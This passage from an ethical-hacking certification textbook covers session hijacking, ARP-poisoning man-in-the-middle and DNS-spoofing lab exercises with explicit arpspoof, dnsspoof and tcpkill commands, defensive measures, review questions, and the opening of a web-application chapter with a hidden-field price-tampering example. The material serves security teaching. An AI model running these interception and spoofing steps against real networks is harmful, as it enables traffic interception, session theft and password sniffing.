session hijacking.
Let’s go back to blind hijacking for a moment. As we discussed earlier, in blind hijacking
the attacker is not able to see the result of the injected packets, nor are they able to sniff
the packets successfully. This creates a major challenge for the attacker because
sequencing packets properly is a critical step in launching a successful TCP-based session
hijacking. Referring back to Chapter 9, recall that there is a logistical challenge in sniffing
traffic from other networks or collision domains. This is because each switchport is an
isolated collision domain. An attacker attempting to perform a session hijack attack on a
victim machine outside the attacker’s network or network segment creates a challenge
similar to the one you faced in sniffing traffic in Chapter 9. The attacker will be going in
blindly because they will not be able to receive a return traffic confirmation of success.
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Hacker on the Run
The infamous hacking saga of Kevin Mitnick is always a good read for ethical hackers
as well as Tom Clancy fans. Mitnick’s hacking activities finally landed him in prison
in 1995, but the events leading up to the arrest read like a suspense novel. The
noteworthy portion of the story is the fact that Mitnick used IP spoofing and a form
of TCP session hijacking to gain access to the resources that inevitably landed him in
hot water. This is not to say that all session hijacking leads to prison time but rather
to demonstrate that session hijacking has a usable presence in the real world. It’s
equally amazing to see just how real things can get when someone succeeds at
hacking high-profile corporations with such a conceptually straightforward attack.
Check out www.takedown.com for some details on the Kevin Mitnick story.
Man-in-the-Middle
Man-in-the-middle (MITM) attacks take the cake as one of the best-known versions of a
session hijack attack. Essentially, an MITM attack places attackers directly between a
victim and host connection. Once attackers have successfully placed themselves in the
middle of the connection via a technique such as ARP poisoning, they have free rein to
passively monitor traffic, or they can inject malicious packets into either the victim
machine or the host machine. Let’s continue with ARP poisoning for our example. The
attacker will first sniff the traffic between the victim and host machines, which places
them in a passive yet strategic position. From here, the attacker can send the victim
phony or “poisoned” ARP replies that map the victim’s traffic to the attacker’s machine; in
turn, the attacker can then forward the victim’s traffic to the host machine. While in this
forwarding position, the attacker can manipulate and resend the victim’s sent packets at
will. Take a look at Figure 12.8, and then proceed to Exercise 12.2, which shows a basic
MITM attack in action.
Figure 12.8 MITM attack
EXERCISE 12.2
Performing an MITM Attack
In this exercise, you’ll learn the fundamentals of an MITM attack. This
demonstration will help you understand the background processes at work. For this
demo you will have three client systems; you’ll be using Windows XP, Windows 7,
and Kali. Follow these steps:
1. First, you need to throw a little traffic on the wire. You will use a continuous ping
from one target host to another so you can see the redirection of traffic. Let’s get
that going on the Windows 7 client and direct it to the Windows XP client.
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2. Next, pull up your sniffer on Kali to ensure you are in position to capture all
traffic and perform your MITM attack.
3. Now you’re good to go on the traffic capture. You are able to capture the ICMP
packets traversing the network and are ready to have some fun. Use the arpspoof
utility in your Kali distribution to poison the victim’s ARP cache. The syntax for
the command is arpspoof [-i interface] [-t target] host. Recall that with an
MITM attack, you are attempting to funnel all traffic through your machine. With
that in mind, you will use arpspoof on your Windows XP client. The command is
arpspoof -i eth0 –t 192.168.1.4 192.168.1.5.
4. Now you have your Windows XP client thinking you are the Windows 7 client.
Take a quick look at your Wireshark screen to see what kind of traffic is being
captured. You should see some ARP broadcasts with some interesting mappings.
5. So far you have poisoned the ARP cache of the Windows XP client and have
verified that your broadcasts are being sent via Wireshark. Excellent; now move
to the Windows 7 client and perform the same process, just in reverse. The
command is arpspoof –i eth0 –t 192.168.1.5 192.168.1.4.
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6. Awesome! Now you have ARP-poisoned both victim machines, and your attack
machine is in the middle of the traffic flow. Take a look at that ping traffic, and
see what the status of the ping is now that it’s being redirected.
7. So it looks like your ping is no longer working, and in this scenario, that’s actually
a good thing. This confirms that all traffic between the two victim machines is
being directed through your machine first. You must now enable IP forwarding on
your Kali client to allow the ICMP packet to flow through. (Although you could
have completed this step before the exercise, keeping IP forwarding off initially
allows you to confirm that you are receiving the ping traffic.) The command you
will use is echo 1 > /proc/sys/net/ipv4/ip_forward.
8. Forwarding traffic isn’t a very eventful command, but it’s important to what you
are trying to accomplish here. So now go back to your ping string and see what’s
changed.
9. Perfect; you can see that your ICMP packets are “normally” flowing across the
wire without a hitch. You are now successfully in the middle of the victim’s traffic
flow and are passing traffic along with no one the wiser. From here, you can steal
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the client session, perform a denial of service, or sniff passwords.
At the risk of oversimplification, the exam is fairly straightforward when it
comes to testing your knowledge of session hijacking and especially MITM attacks.
There are several tools specially designed to perform a MITM attack. These tools are
particularly efficient in LAN network environments.
PacketCreator
Ettercap
Dsniff
Cain & Abel
There are also tools designed for HTTP-level interactions known as MITM proxy-only
tools. These tools work only with HTTP protocols and do not work lower in OSI, so TCPbased attacks must be performed with other tools:
OWASP WebScarab
Paros Proxy
Burp Proxy
ProxyFuzz
Odysseus Proxy
Fiddler (by Microsoft)
DNS Spoofing
As you saw back in Chapter 2 and in other cases, DNS is an important service for just
about any network today. Some networks, such as those that use Active Directory, cannot
even function without DNS being present in the environment. With these points in mind,
we need to look at an attack known as DNS spoofing.
In a DNS spoofing attack, the attacking party modifies the DNS server to change the flow
of traffic to go from their normal host-to-IP-address mappings to addresses that they
desire instead. In some cases, the websites that have traffic redirected to them may be
designed to spread malware. See Exercise 12.3.
EXERCISE 12.3
Performing DNS Spoofing
In this exercise you will perform a DNS spoofing attack to redirect traffic to a website
you control instead of the normal website. To perform this exercise you will need to
use Kali Linux 2.0.
1. In Kali choose dnsspoof from the Sniffing menu.
2. At the command prompt enter the following command: dnsspoof -i <interface>
-f <hostsfile>. In this command –i tells dnsspoof which network interface to
listen on and –f tells dnsspoof which host names to respond to. For example, -f
tells dnsspoof which addresses to use to respond to queries configured in the
hosts file.
3. Use a web browser on another machine on the network, such as a Windows
system, to browse to a site such as Zelda.com.
4. Flush DNS on the Windows system using the ipconfig command with the
following syntax:
Ipconfig /flushdns
5. On the Kali system set the network card to run in promiscuous mode using
ifconfig like so:
Ifconfig <interface nam> promisc
6. Terminate the connection to Zelda.com on the Windows system by entering the
following on the Kali system:
Tcpkill -9 host [www.zelda.com]
7. In Kali open the hosts file located in the /usr/local folder.
8. Open the hosts file in a text editor.
9. Add a line for www.zelda.com to the file like so:
192.168.1.1 www.zelda.com
10. Save the hosts file.
11. Turn off promiscuous mode on the Kali system by entering the following:
Ifconfig <interface name> -promisc
12. Create a new Zelda web page.
13. Create a website that the user will be directed to when they type zelda.com in the
URL of their browser. Start dnsspoof and direct users to the new address for
Zelda.com.
Now when dnsspoof is running, any attempt to access Zelda.com will redirect users
to the new location.
UDP Session Hijacking
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UDP session hijacking is conceptually simpler than its TCP brethren because UDP doesn’t
use sequencing for its packets. As you’ll recall, UDP is a connectionless protocol, meaning
it doesn’t establish a verifiable connection between the client and the host. For an
attacker, this means no packet sequence is needed. The aim of a UDP hijack is to fool the
victim into thinking the attacker’s machine is the server. The attacker must try to get a
response packet back to the client before the legitimate host, thereby assuming the role of
the server. Different techniques can be used to intercept legitimate server traffic prior to
its response to the victim, but the basic goal is the same.
Exploring Defensive Strategies
Session hijacking relies, in part, on many of the prerequisites needed to successfully sniff
a network. For instance, session hijacking attacks increase in complexity for external and
switched networks. In other words, sitting on the local LAN (for example, as a disgruntled
employee) is a much better strategic position for an attack than sitting outside the
gateway. Aside from its relationship with sniffing, let’s look at methods you can use to
help prevent session hijacking:
Encrypting network traffic is a viable and effective preventive technique against
hijacking attacks, from both internal and external sources. As you’ll recall from
previous chapters, encryption hampers your legitimate efforts to monitor your own
network traffic.
Using network-monitoring appliances such as an IPS or IDS can help in detecting and
preventing network anomalies such as ARP broadcast traffic. These anomalies can be
indicators of potential session hijacking attacks in progress.
Configure the appropriate appliances, such as gateways, to check and filter for spoofed
client information such as IP addresses.
Be aware of local browser vulnerabilities such as extended history logs and cookies.
Clearing temporary browsing information can help in preventing the use of old
session IDs.
Stronger authentication systems such as Kerberos will provide protection against
hijacking.
The use of technologies such as IPsec and SSL will also provide protection against
hijacking.
Defense-in-depth, or the use of multiple defensive technologies to slow or deter an
attacker, provides protection as well.
Pen testing to discover vulnerability to session hijacking depends on the defensive
strategies of the client. Encryption should be implemented for sensitive network traffic to
resources such as servers. In addition, implementing policies that limit the generation of
unique session tokens to intranet resources can reduce the probability of an attacker
stealing an active session. Putting protective network appliances such as IPSs and IDSs to
the test exposes critical weaknesses in identifying and preventing successful session
hijacking attempts.
Summary
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In this chapter we focused on session hijacking and what constitutes an attack. You
learned the difference between active and passive hijacking and looked at network-level
and application-level attacks. We discussed TCP session hijacking and emphasized the
importance of understanding packet sequencing for the exam. We also looked at different
sources of session IDs and touched on web application hijacking. We also explored manin-the-middle attacks and walked through the basic setup.
Exam Essentials
Know what makes up a session hijacking. Make sure you can pick up on a session
hijack attack easily. The exam is fairly straightforward on session hijacking questions.
Most of the time the image will give it away, or it will become obvious in the question
discussion that a session hijacking has either occurred or is about to.
Know your TCP sequencing. Knowing the sequencing of TCP packets is important for
you as an ethical hacker and is extremely important for the exam. Understand the TCP
three-way handshake as well.
Remember the difference between an active attack and a passive attack. An
active attack is one in which the attacker is injecting packets or manipulating the
connection in some fashion. In a passive attack, the attacker only monitors the traffic
between client and host machines.
Know the steps of a session hijack. Familiarize yourself with the steps of a TCP
session hijacking attack.
Be able to define ARP poisoning and DNS spoofing. Understand both concepts,
and keep a lookout for scenario-driven questions that begin with ARP poisoning or DNS
spoofing as a supporting factor for the attack. This is a signal that the question is talking
about a session hijacking attack.
Understand web application hijacking. Remember the three sources of session IDs:
embedded in a URL, hidden in an embedded form, or stored in a session cookie. Your
focus is not necessarily in knowing all the nuances of each source but to recognize what
the exam question is asking you. The exam will usually give you ample evidence and
explanatory material in each question, so your job as the test taker is to sleuth out exactly
what is important and pertinent to answer the question.
Recognize flexibility in terminology. Session hijacking is a category of attack in
which the exam presents the topic in many varied ways. A web app session hijacking may
be called something like session fixation. Or the possible answers to a diagram-based
question may sound unfamiliar, but one or two of them have session in the answer. Stay
focused on the big picture, and use common sense. If it looks like a session hijacking
question and sounds like a session hijacking question, well, it’s a session hijacking
question! Answer accordingly.
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Review Questions
1. Which statement defines session hijacking most accurately?
A. Session hijacking involves stealing a user’s login information and using that
information to pose as the user later.
B. Session hijacking involves assuming the role of a user through the compromise of
physical tokens such as common access cards.
C. Session hijacking is an attack that aims at stealing a legitimate session and posing
as that user while communicating with the web resource or host machine.
D. Session hijacking involves only web applications and is specific to stealing session
IDs from compromised cookies.
2. Jennifer has been working with sniffing and session-hijacking tools on her company
network. Since she wants to stay white hat—that is, ethical—she has gotten permission
to undertake these activities. What would Jennifer’s activities be categorized as?
A. Passive
B. Monitoring
C. Active
D. Sniffing
3. Based on the diagram, what attack is occurring?
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A. Session splicing
B. Denial-of-service
C. Source routing
D. MITM
4. Jennifer is a junior system administrator for a small firm of 50 employees. For the last
week a few users have been complaining of losing connectivity intermittently with no
suspect behavior on their part such as large downloads or intensive processes.
Jennifer runs Wireshark on Monday morning to investigate. She sees a large amount
of ARP broadcasts being sent at a fairly constant rate. What is Jennifer most likely
seeing?
A. ARP poisoning
B. ARP caching
C. ARP spoofing
D. DNS spoofing
5. Which of the following is not a source of session IDs?
A. URL
B. Cookie
C. Anonymous login
D. Hidden login
6. Which kind of values is injected into a connection to the host machine in an effort to
increment the sequence number in a predictable fashion?
A. Counted
B. Bit
C. Null
D. IP
7. An ethical hacker sends a packet with a deliberate and specific path to its destination.
What technique is the hacker using?
A. IP spoofing
B. Source routing
C. ARP poisoning
D. Host routing
8. Network-level hijacking focuses on the mechanics of a connection such as the
manipulation of packet sequencing. What is the main focus of web app session
hijacking?
A. Breaking user logins
B. Stealing session IDs
C. Traffic redirection
D. Resource DoS
9. A public use workstation contains the browsing history of multiple users who logged
in during the last seven days. While digging through the history, a user runs across the
following web address: www.snaz22enu.com/&w25/session=22525. What kind of
embedding are you seeing?
A. URL embedding
B. Session embedding
C. Hidden form embedding
D. Tracking cookie
10. Julie has sniffed an ample amount of traffic between the targeted victim and an
authenticated resource. She has been able to correctly guess the packet sequence
numbers and inject packets, but she is unable to receive any of the responses. What
does this scenario define?
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A. Switched network
B. SSL encryption
C. TCP hijacking
D. Blind hijacking
11. Session hijacking can be performed on all of the following protocols except which
one?
A. FTP
B. SMTP
C. HTTP
D. IPsec
12. Which technology can provide protection against session hijacking?
A. IPsec
B. UDP
C. TCP
D. IDS
13. Session fixation is a vulnerability in which of the following?
A. Web applications
B. Networks
C. Software applications
D. Protocols
14. Session hijacking can be thwarted with which of the following?
A. SSH
B. FTP
C. Authentication
D. Sniffing
15. XSS is typically targeted toward which of the following?
A. Web applications
B. Email clients
C. Web browsers
D. Users
16. A man-in-the-browser attack is typically enabled by using which mechanism?
A. Virus
B. Worms
C. Logic bombs
D. Trojans
17. A man-in-the-middle attack is an attack where the attacking party does which of the
following?
A. Infect the client system
B. Infect the server system
C. Insert themselves into an active session
D. Insert themselves into a web application
18. A session hijack can happen with which of the following?
A. Networks and applications
B. Networks and physical devices
C. Browsers and applications
D. Cookies and devices
19. A session hijack can be initiated from all of the following except which one?
A. Emails
B. Browsers
C. Web applications
D. Cookies and devices
20. Session hijacking can do all of the following except which one?
A. Take over an authenticated session
B. Be used to steal cookies
C. Take over a session
D. Place a cookie on a server
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Chapter 13
Web Servers and Applications
CEH EXAM OBJECTIVES COVERED IN THIS CHAPTER:
III. Security
P. Vulnerabilities
IV. Tools/Systems/Programs
O. Operating environments
Q. Log analysis tools
S. Exploitation tools
A web application is an application that runs on a remote server and
is accessed through a client. A web app can take the form of services such as Microsoft’s
Office 365 or Netflix. The application is presented through a client interface such as a
browser or other piece of software.
Web applications have become incredibly popular on several fronts over the last few years
because they provide tremendous flexibility and power. These apps can be written to offer
their unique services to a specific platform, or they can be platform agnostic and thus able
to offer their power across architectures.
When mobile computing is brought into play, the picture becomes even more interesting
because some apps are created to be run locally whereas others are pure web apps. Web
apps are designed to be run across platforms, and native apps are designed or targeted
toward a specific platform or environment. In fact, many of the software packages
downloaded from places such as the Google Play store are part of a web application.
In this chapter we will explore web applications and how to attack and compromise them.
Exploring the Client-Server Relationship
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Before we discuss the client-server relationship, you must understand the types of
individuals who will be interacting with a web server. Typically, you break them into three
classes, each with its own specific needs and concerns:
Server Administrators These individuals are typically concerned with the safety,
security, and functioning of the web server from an operational standpoint. They try to
configure the system and remove vulnerabilities before they become problems. For some
server administrators, this has become an almost impossible task because web servers
and the applications that run on them have become increasingly complex and powerful,
with many unknown or undocumented features.
Network Administrators These individuals are concerned with the infrastructure and
functioning of the network itself as a whole. They look for operational and security issues
and attempt to deal with them.
End Users Those in this category interact with the web server and application as a
consumer and user of information. These individuals do not think about the technical
details as much as getting the services that they desire when they desire them. Making
this more of an issue is the simple fact that the web browser they are using to access this
content can allow threats to bypass their or the company’s firewall and have a free ride
into the internal network.
In the interest of being fair and complete, we should also mention a couple of other
parties who could be involved, these being the application administrator and the
application developer.
Application Administrator The person fulfilling this role is typically solely
responsible for managing and configuring the web application itself. This individual
focuses on ensuring that the web application runs smoothly and continues to meet
performance goals.
Application Developer Application developers or web developers are those who
specialize in programming, developing, and upgrading the web application. They can focus
on client-side and server-side technologies depending on the environment present and
the operating system.
Looking Closely at Web Servers
Before we can get into the process of analyzing and hacking web servers as well as
applications, we must look at the web servers themselves. In the simplest terms, a web
server is a software package that is designed to deliver files and content over HTTP. These
files are delivered in response to requests that come from clients in software form.
Web servers are part of a larger family of Internet- and intranet-based programs that
deliver content such as email, files, web pages, and other types. While all web servers
deliver the same basic types of content such as HTML, they can vary in their support for
application extensions and other technologies. Web servers are differentiated by
operating system support, server-side technologies, security models, client support,
development tools, and many more factors.
Currently, there exist a staggering number of web server technologies, but to keep things
realistic and practical we will concentrate on only the market leaders: Microsoft’s Internet
Information Server (IIS) and Apache on Linux and Unix.
In the real world, the leading web server technologies are Apache, IIS, and
nginx, which runs on numerous operating systems. To be fair there are other web
server technologies such as Novell NetWare server, Google Web Server, and Domino
servers from IBM. While no list of web servers is complete, in most cases it doesn’t
have to be because the technologies you are likely to encounter in this space tend to
be fairly limited.
However, when you do encounter an unusual server you should be prepared to do
your research. Who knows? You may run into a customer who is still running a
version of Netscape’s Web Server technology, though I hope not.
Apache Web Server
Apache web server is the most popular technology of its type in the world with an
estimated 60 percent of web servers on the Internet running the software (62 percent
with servers derived from Apache included). While it was originally developed for the
Unix platform back in the 1990s, it has long since been ported to other operating systems
but still is very much associated with and commonly run on Unix and Linux.
The Apache software supports a large number of features because of its open source
nature, longevity, size of install base, and the fact that it is easy to develop for:
Out of the box, Apache supports new and additional features added into the core
product through the integration of compiled modules. When these modules are added
to the product, they extend the core functionality of the product in new ways. These
modules include the following:
Authentication
SSL support
TLS support
Proxy support
URL rewriter
HTTP request filtering
Python and Perl support
PHP
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Compression support
Intrusion detection
Enhanced logging
This is a short list of supported modules; many more are available or can be developed
if needed.
Virtual websites or hosting, which allows multiple websites to be hosted on one
server. This is a common feature among web servers.
Friendly error message support
Integration with external authentication systems
Digital certificate support
Furthermore, the Apache software is free and supports the large majority of web
technologies either natively or through the addition of modules.
When you do your surveillance of a target and look for clues as to what is
present “behind the curtain,” one way to tell is to look at running processes. In the
case of Apache, one process that gives away the presence of the server is the
Hypertext Transfer Protocol Daemon (httpd). This process is typically run by the root
user on Linux and is used to intercept requests coming over HTTP and return a
response to the requestor.
Internet Information Server (IIS)
IIS is Microsoft’s web server offering and has been available since the mid-1990s forward.
Currently in its eighth incarnation with Windows Server 2012, the product has evolved
tremendously and is an integral part of many of Microsoft’s technologies. Presently, IIS
7.0 and 7.5 for Windows Server 2008 and 2008r2, respectively, are the most commonly
encountered versions in the wild.
In many ways IIS resembles Apache conceptually, but there are some differences that can
and do occur. Much like the modular architecture of Apache, IIS implements modules
that extend and enhance the core functionality of the product. Modules that can be added
to IIS include these:
Process management
Server-side language
Support for legacy technologies (mainly for IIS 6.0 users)
Protocol listeners
Security support
Certificate support
Authentication support
Database support
One of the elements on this list, protocol listeners, needs some extra attention because it
will figure prominently in your later investigations. Protocol listeners are modules
designed to receive requests for specific protocols, deliver them to IIS for processing, and
then return the response to the original requesting party. Of these listeners the most
frequently used one is the HTTP listener as part of the HTTP.sys module. This listener
intercepts HTTP requests and delivers them to IIS, and then HTTP.sys delivers the
response back to the browser or application that initiated the request.
The HTTP.sys file was introduced in IIS 6.0 and has been present in every
version since. Despite the name, the listener supports not only HTTP but HTTPS
requests as well.
In any version of IIS from 6.0 forward, only a handful of listeners and other components
are installed by default. This is in response to issues and changes that had arisen up
through version 5 of the product. Prior to version 6, the product was not considered
modular and shipped with all services essentially installed and ready to be used.
Web Applications
Sitting on top of and utilizing the features of a web server is the web application. So what
exactly is a web application? This seems to be the source of some confusion, so let’s
address that.
In essence, a web application is software that is installed on top of a web server and is
designed to respond to requests, process information, store information, and scale in
response to demand, and in many cases it is distributed across multiple systems or
servers.
As opposed to a few years ago, web applications come in three variations today:
Browser based, which include code that may have been partially processed on the
server but is executed in the web browser itself. Such an application has the ability to
access data stored on a server as well as on the local system or both, depending on
design.
Client based, which are essentially the same as browser-based applications, but
instead of being run within the browser environment, they’re run as their own
application. Applications that require their own client-side application to be installed
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prior to using the web application fit into this category.
Mobile apps are by far the type most commonly encountered today. To be included in
this category the application typically runs on a mobile OS such as those running on
smartphones and tablets, mainly Google’s Android or Apple’s iOS.
So what do all of these types have in common? Each one of them in some capacity
processes information on a server before providing the information to the client side of
the equation. Simply put, the bulk of the processing is done remotely and the results are
presented locally.
The Client and the Server
Understanding web applications means that you must also examine the interaction
between client and server that occurs in this environment. A server application is hosted
on a web server and is designed to be accessed remotely via a web browser or web-enabled
application. Typically, this environment allows multiple client applications to access the
server simultaneously, either to retrieve data or to view or modify data. The client
performs minimal processing of information and typically is optimized to present the
information to the user. Information is stored on the server, with some small portions
such as metadata residing on the client.
Metadata is a term that is used quite often, but to make sure you are clear
on it, let me explain it a bit more. Metadata, to use the technical description, is data
that describes other data, which is kind of like saying red is a type of color, which
doesn’t help you all that much. In lay terms, however, metadata can be easily
visualized if you consider a document on a hard drive. This document contains data
like the content of this chapter, which is easy to understand. Metadata in this
situation would be the properties of the file itself, which describe the file in terms of
size, type, date, author, and other information.
Metadata is used to enhance the performance of applications and environments
because it can speed up the process of locating and using information. For example,
an index is a form of metadata that gives basic information about something,
allowing content to be found and relevant information to be examined.
So why choose a web-based application over other client-server models? Many potential
benefits arise from this hosting environment over other models. One of the biggest
benefits is that a client application does not have to be developed for each platform as in
traditional setups. Since many web applications are designed to be run within a web
browser, the underlying architecture is largely unimportant. The client can be running a
wide range of operating systems and environments without penalty to the application.
Some web applications, however, don’t run in web browsers and are locked to a specific
platform, and these reside on mobile devices. Web application clients of this type are
designed for a specific type and version of a mobile OS (such as Android) and can be run
only there. However, the developer could code different versions of the client that would
be able to access the same data as other platforms that reside on the server.
Web applications are dependent in many cases on the use of technologies
such as Active Server Pages (ASP), ASP.NET, and PHP to allow them to function.
These technologies are referred to as server-side technologies, which means that they
process and manipulate information on the server. Other technologies such as
Dynamic HTML (DHTML), HTML 5, JavaScript, and related languages are processed
on the client, which puts them in the category of client-side technologies.
Most of the commonly encountered web applications are based on the client-server model
and function on a system where data is entered on the client and stored on the server.
Applications such as cloud storage or web-based email services like Yahoo!, Gmail, and
others use this setup as part of their normal functioning.
A Look at the Cloud
Over the last few years, a new technology has emerged on the scene in the form of the
cloud. Simply put, the cloud is a model for creating shared resources that can be
dynamically allocated and shared on demand. The major benefit here is that the users of
the cloud service do not need to worry about the actual details of the setup, just that their
resources are there and available.
Cloud technologies are touted as a service that can revolutionize businesses, because
items traditionally hosted in client-server setups can now be hosted in a more flexible
environment. Companies look at the cloud as an effective way of reaping the benefits of a
technology without having to deal with all the support, training, and other issues that go
with keeping the same services on site. However, there still are issues to deal with such as
security and legal concerns, which evolve as new issues emerge from the transition.
While the public tends to think of the cloud as a place to store their photos, videos,
documents, and other data, this is only a small part of what the cloud can offer. Typically,
the technologies in the cloud are broken down into these categories:
Infrastructure as a Service (IaaS) is the simplest and most basic form of cloud services
available. Essentially, this type of cloud setup provides the ability to host virtual
machines upon which operating systems and applications can be installed. This type of
model also allows for the deployment of cloud-based firewalls, load balancers, VLANs,
and other types of network services.
Platform as a Service (PaaS) is a model best suited to developers of web applications
and those in similar situations. This environment provides the hosting and scalability
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as well as standards for development, and the client develops their application
accordingly.
Software as a Service (SaaS) is a model in which the client transitions from locally
managed software applications to cloud-hosted configurations. In practice, this can be
similar to Microsoft’s Office 365 product or Google’s apps. This model has become
increasingly popular because software acquisition, management, and licensing
overhead is reduced from what it was prior to the adoption of the model in many
cases.
In the current technology world, the cloud is a widespread technology used by millions of
people and companies worldwide. Pushing email, office applications, and other items
from the local environment to the cloud has allowed companies to realize big savings in
terms of time and money. Web applications are now integrating with cloud service
providers to allow greater flexibility and access than was easily achieved before. Many of
the applications and environments present within the cloud include locally hosted web
applications to act as a front end to a cloud solution. In fact, with the rise of mobile
devices, the cloud has taken on new meaning with the inclusion of smartphones, tablets,
and other devices that can easily be part of your environment.
In this discussion I am making a blanket statement that you will be
outsourcing your cloud technology, but this may not always be true. In many cases
companies have had to build their own cloud to deal with certain issues, such as
making sure the setup and the people in the organization remain secure. In this
situation all the equipment is bought, configured, managed, and kept on site. This
setup is commonly known as a private cloud.
Closer Inspection of a Web Application
Web applications are designed to run on web servers and send their output over the
Internet. Let’s examine the running of such applications in their environment.
You can visualize a web application as consisting of not only a client and server but also
layers. These layers are as follows:
Presentation Layer Responsible for the display and presentation of information to the
user on the client side
Logic Layer Used to transform, query, edit, and otherwise manipulate information to
and from the forms in which it needs to be stored or presented
Data Layer Responsible for holding the data and information for the application as a
whole
All of these layers depend on the technology brought to the table in the form of the World
Wide Web, HTML, and HTTP. HTTP is the main protocol used to facilitate
communication between clients and servers, and it operates over port 80, but other
protocols are sometimes used.
HTTPS (HTTP employing encryption mechanisms) can be used to protect
data in transit. This approach is common in applications such as webmail and ecommerce.
Web applications make heavy use of an underlying web server technology such as
Microsoft’s Internet Information Services (IIS), Apache Server, and Oracle’s iPlanet Web
Server. Resources such as web pages are requested via the stateless HTTP. The client
provides a uniform resource identifier (URI), which tells the server what information is
being requested and what to return.
Stateless refers to the fact that the protocol does not keep track of session
information from one connection to the next. Each communication in HTTP is
treated as a separate connection.
Another common component of web applications is the feature known as cookies. A
cookie is a file stored on a client system that is used as a token by applications to store
information of some type (depending on the application). As far as applications are
concerned, cookies are a common element, but from a security standpoint, they are
viewed as a liability since they can be easily copied.
Looking Closer at Cookies
Cookies, while necessary for the functioning of an unimaginable number of web
applications, are also a potential liability. Cookies are a commonly exercised attack
method for malicious users who employ them to target other users and to compromise
the overall security of an otherwise well-designed application.
The importance of cookies cannot be overlooked, nor can the potential for harm be
understated. Applications that rely on the ability to maintain state information across
stateless protocols such as HTTP would be vastly difficult if not impossible to create
without the inclusion of cookies. In many cases, a cookie is primarily either an
authentication token or a data storage vehicle. Thus, it is easy to see why an attacker
would want this information, because it could enable them to gain access to an
application through session hijacking or similar means. In fact, some of the attacks we
have already discussed in this book such as XSS or sniffing could easily capture cookie
information.
Further expanding on cookies, let’s look at the cookie’s primary purpose, maintaining
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state information. The main protocol of the web, HTTP, was never designed for and is
therefore incapable of keeping track of state information across multiple requests or
visits to a resource. Therefore, an application running over such a stateless protocol needs
to keep track of this information somehow, and this is where cookies make their mark.
Cookies are a way to store information that the protocol is unable to store.
To understand this process, let’s consider a commonly encountered environment, an
online store like Amazon. When someone visits this site, they can log in to their account
and do several things, but primarily they can shop. When a user browses the site and
clicks the Add to Cart button next to an item, the site does precisely that. As the user
moves from page to page finding other things to add, they repeat the process. While this
is going on, behind the scenes a cookie stores information about what is happening and
what the user has added to their cart. The web application is using a special instruction in
HTTP known as Set-Cookie, which is sent to the browser as a response in the format
name=value, which the browser adds to the cookie. The browser will transmit this
information back to the application for each subsequent request, informing the
application about what the user has done, which, in this case, is to add items to their cart
in different quantities, prices, colors, and such. As you can see, without the cookie the
process would be different.
I want to make it clear that in no way are cookies a bad feature, and that
should never be the implication here or anywhere. Plenty of web applications and
developers should be applauded for handling cookies safely and securely, thereby
keeping sensitive information out of the hands of a malicious party.
I should also make it abundantly clear here that the statement of “a cookie is just a
text file and therefore nothing bad can come from it” is false by any measure. As you
will see in this chapter, cookies can be safely used, but they can also be a liability
when not used properly.
Pieces of the Web Application Puzzle
In a web application several components exist, each of which serves a specific function.
Each has its own vulnerabilities as well.
Login or Authentication Process A component is presented to users in order for
them to provide a username and password for the authentication process and later for the
authorization process.
Technology-wise, there are different ways to authenticate a user, which can include the
following:
Anonymous authentication, which boils down to all visitors to the site using the same
account to access resources on the site. No login dialogs or prompts are provided to
accept credentials.
Basic authentication, which sends all authentication information in plain text
Digest authentication, a method that essentially passes a hash for authenticating users
Integrated Windows Authentication for Microsoft-based applications. This uses the
built-in Windows authentication technology to perform the process.
Digital certificates for use in SSL
Certificate mapping, where digital certificates are mapped to specific user accounts
Web Server This is the foundation for the whole system; it is the combination of
hardware and software used to host the web application itself.
Session Tracking This component allows the web application to store information
about a client pertaining to their current visit or future visits to the web application.
In many cases, because of the stateless nature of HTTP, cookies are used to store state
information for web applications.
Permissions Based on whom they authenticate as and whether the authentication is
successful, permissions determine what level of access the user has to resources on the
server.
Application Content This is the information that the user is interacting with by
providing requests to the server.
Data Access Web pages in a web application are attached to a library that provides data
access.
Data Store This component is where the valuable information for the web application is
contained. By design, this may or may not be stored on the same system.
Data stores in many cases means a database of some sort, which commonly takes the
form of MySQL, Microsoft SQL Server, or Oracle’s offerings.
Logic This component is responsible for interacting with the user and providing the
means for the correct information to be extracted from the database.
Logout This may be a separate function and is used by users to shut down their
connection to the web application.
In many cases, in addition to the ability for visitors to consciously log out of their session,
web applications also automatically log out users after a period of inactivity.
Vulnerabilities of Web Servers and Applications
Web applications and web servers have many of the vulnerabilities you have encountered
in this book so far, but others are unique to this environment. Because websites, servers,
and applications are the side of the company the public usually encounters, they
represent an obvious target. Amplifying the issue is the fact that, as opposed to a couple
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of decades ago, many companies exist only within cyberspace with no brick-and-mortar
location (for example, Amazon, eBay, and Facebook). Taking down or compromising
these systems can be a coup for the attacker and devastating for the target company.
Let’s look at some of the vulnerabilities an attacker can exploit for gain.
Flawed Web Design
One common way to exploit a web application or site is in the code itself. Comments and
hidden tags that are embedded into a web page by the designer can yield information to
an attacker. Although these types of tags and information are not intended to be displayed
in a web browser, they can be viewed and analyzed using the View Code or Source
capability present in most browsers.
The source code of a page could reveal something like the following:
<form method="post" action="../../cgi-bin/formMail.pl">
<!--Regular FormMail options---->
<input type=hidden name="recipient" value="[email protected]">
<input type=hidden name="subject" value="Message from website visitor">
<input type=hidden
name="required" value="Name,Email,Address1,City,State,Zip,Phone1">
<input type=hidden name="redirect" value="http://www.termina.com/received.htm">
<input type=hidden name="servername" value="https://payments.termina.com">
<input type=hidden name="env_report" value="REMOTE_HOST, HTTP_USER_AGENT">
<input type=hidden name="title" value="Form Results">
<input type=hidden
name="return_link_url" value="http://www.someplace.com/main.html">
<input type=hidden name="return_link_title" value="Back to Main Page">
<input type=hidden
name="missing_fields_redirect" value="http://www.termina.com/error.html">
<input type=hidden name="orderconfirmation" value="[email protected]">
<input type=hidden name="cc" value="[email protected]">
<input type=hidden name="bcc" value="[email protected]">
<!--Courtesy Reply Options-->
The code contains information useful to an attacker. Although the information may not
be completely actionable, it does provide something. Notice the email addresses and even
what appears to be a payment processing server (payments.termina.com). This is
information that an attacker can use to target an attack.
The following is another example of a vulnerability in code that can be exploited:
<FORM ACTION =http://111.111.111.111/cgi-bin/order.pl" method="post"
<input type=hidden name="price" value="6000.00">
<input type=hidden name="prd_id" value="X190">
QUANTITY: <input type=text name="quant" size=3 maxlength=3 value=1>
In this example, the application designer has used hidden fields to hold the price of an
item. Unscrupulous attackers could change the price of the item from $6,000.00 to
$60.00 and make their own discount.
Buffer Overflow
A common vulnerability in web servers, and all software, is buffer overflow. A buffer
overflow occurs when an application, process, or program attempts to put more data in a
buffer than it was designed to hold. In practice, buffers should hold only a specific
amount of data and no more. In the case of a buffer overflow, a programmer, either
